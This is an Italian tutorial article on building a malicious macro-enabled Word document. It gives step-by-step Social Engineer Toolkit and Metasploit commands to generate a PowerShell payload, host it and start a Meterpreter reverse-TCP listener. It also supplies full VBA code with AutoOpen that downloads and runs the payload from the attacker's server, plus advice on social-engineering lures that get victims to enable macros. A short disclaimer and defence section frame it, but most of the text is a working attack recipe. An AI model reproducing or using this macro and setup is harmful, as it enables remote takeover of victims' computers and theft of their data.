Macro su Office: attivarle o disattivarle?

18 luglio 2017

In questo articolo vedremo come creare una macro in Microsoft Visual Basic, includendola in un documento di Microsoft Office Word facendo sì che l’apertura del file scarichi un payload precedentemente configurato. Tale payload sarà quindi avviato e permetterà di prendere il controllo del PC. Questa tecnica, che rappresenta un semplice (ma efficace) attacco basato sulle macro, diventa molto potente se combinata con alcuni accorgimenti di Social Engineering.

Il contenuto di questo articolo ha scopi puramente didattici e divulgativi. La conoscenza di questo tipo di attacchi informatici è finalizzata ad evitarli e prevenerli.

Configurazione del PAYLOAD

Per realizzare un documento di Word infetto utilizzeremo:

La prima cosa da fare è creare il payload che ci permetterà di stabilire il collegamento con il PC e ottenerne il controllo. Apriamo quindi una shell in Kali Linux e digitiamo:

setoolkit

Figura 1. Social Engineer Toolkit (click per ingrandire)

Social Engineer Toolkit

Dalla console digitiamo 1 per selezionare social engineering attacks, poi 9 per powershell attack vectors, e per ultimo 1 per powershell alphanumeric shellcode injector.

Ora bisogna iniziare a programmare il payload fornendo alcuni dati di configurazione. Il primo è l’indirizzo IP della macchina attaccante che prende il nome di localhost (di seguito LHOST). Se non lo si conosce, è possibile ottenerlo aprendo una nuova shell e digitando:

ifconfig

Otterremo un risultato simile al seguente:

Figura 2. ifconfig (click per ingrandire)

ifconfig

Quello che ci interessa è l’interfaccia collegata alla rete, generalmente identificata dalle sigle eth0 o wlan0. Nel nostro caso, essendo collegati tramite cavo di rete, scegliamo eth0. L’IP da prendere in considerazione è quello riportato subito dopo la voce inet, quindi 192.168.217.128. Questo è l’indirizzo da inserire nel campo LHOST richiesto dal tool di Social Engineering.

Fissato l’indirizzo IP, ci viene chiesto di selezionare una porta per le comunicazioni port for the reverse (di seguito LPORT). Per comodità usiamo quella predefinita di meterpreter, ovvero la 4444, sebbene ovviamente possiamo sceglierne una qualsiasi. Come passo successivo, il tool ci chiede se vogliamo avviare l’ascolto immediatamente (start the listener now). Selezioniamo no, poichè avvieremo il tutto in un secondo momento.

Conclusa la configurazione del tool di Social Engineering, dobbiamo ora spostare il payload appena configurato sul nostro server web. A tale scopo, apriamo una nuova shell e digitiamo:

mv /root/.set/reports/powershell/x86_powershell_injection.txt /var/www/html/payload.txt

Digitiamo quindi il comando seguente per avviare il server web:

service apache2 start

Passiamo ad avviare il Listener, cioè l’applicazione che si occuperà di rimanere in attesa della chiamata che il payload effettuerà quando attivato. A tale scopo, apriremo una sessione di meterpreter. Per farlo, apriamo una shell e digitiamo:

msfconsole

Una volta caricato, digitiamo:

use multi/handler

Seguono una serie di impostazioni da digitare:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.217.128
set LPORT 4444

Si ricordi di modificare LHOST inserendo l’indirizzo IP locale trovato precedentemente, e di impostare la LPORT che si è deciso di utilizzare durante la configurazione del payload.

Infine, digitiamo exploit e premiamo il tasto Invio per avviare il listener.

Creazione del file Word

Ora dobbiamo aggiungere il comando PowerShell al documento Microsoft Word. Questo comando avvia il download del payload dal nostro server web e lo esegue.

Per prima cosa, apriamo Microsoft Word e creiamo un nuovo documento, denominato ad esempio test.docm. Assicuriamoci, inoltre, che la voce Documento di Word con Attivazione Macro sia selezionata dal menu a discesa, come riportato in figura.

Figura 3. Documento Word con Attivazione Macro (click per ingrandire)

Documento Word con Attivazione Macro

Successivamente, nella scheda Visualizza, clicchiamo su Macro sul lato destro.

Figura 4. Creazione Macro (click per ingrandire)

Creazione Macro

Verrà richiesto di creare una nuova macro, quindi digitiamo nel campo Nome Macro la voce MACRO_1 e faciamo clic su Crea. Inoltre, assicuriamoci che il menu a discesa accanto a Macro in: abbia il nome del documento selezionato. e non la voce Tutti i modelli e documenti attivi.

Figura 5. Creazione Macro (click per ingrandire)

Figura 5. Creazione Macro

Adesso basta incollare il semplice script VBA seguente:

Sub MACRO_1()
    Dim exec As String
exec = "powershell.exe ""IEX ((new-object net.webclient).
		downloadstring('http://192.168.217.128/payload.txt'))"""
    Shell (exec)
End Sub
Sub AutoOpen()
    MACRO_1
End Sub
Sub Workbook_Open()
     MACRO_1
End Sub 

Salviamo la macro ed il documento, ed il nostro file è pronto per l’uso. Un utente distratto che aprirà il documento e attiverà l’esecuzione delle macro avvierà la nostra PowerShell e ci permetterà di ottenere il controllo del PC.

Per aumentare la percentuale di attivazione, possiamo ricorrere al Social Engineering. Potremmo inserire un messaggio rassicurante che inviti ad attivare i contenuti bloccati, come per esempio il seguente:

Figura 6. Social Engineer (click per ingrandire)

Social Engineer

Come difendersi

Oggi è molto facile creare dei file infetti che possono mettere in serio pericolo i nostri dati e la nostra privacy.

L’apertura di una shell, come quella di quest’articolo, difficilmente viene notata da un utente.

Nel caso di Microsoft Word, l’inserimento di una semplice macro crea un tunnel diretto con il cybercriminale, che può prendere il controllo del nostro PC o violare la nostra privacy.

È quindi buona prassi evitare l’apertura di file di cui non si conoscete la provenienza, evitando anche di attivare le macro di Office a meno di non essere certi del loro codice.

Se vuoi aggiornamenti su Macro su Office: attivarle o disattivarle? inserisci la tua e-mail nel box qui sotto:
 
X
Se vuoi aggiornamenti su Macro su Office: attivarle o disattivarle?

inserisci la tua e-mail nel box qui sotto:

Ho letto e acconsento l'informativa sulla privacy

Acconsento al trattamento di cui al punto 3 dell'informativa sulla privacy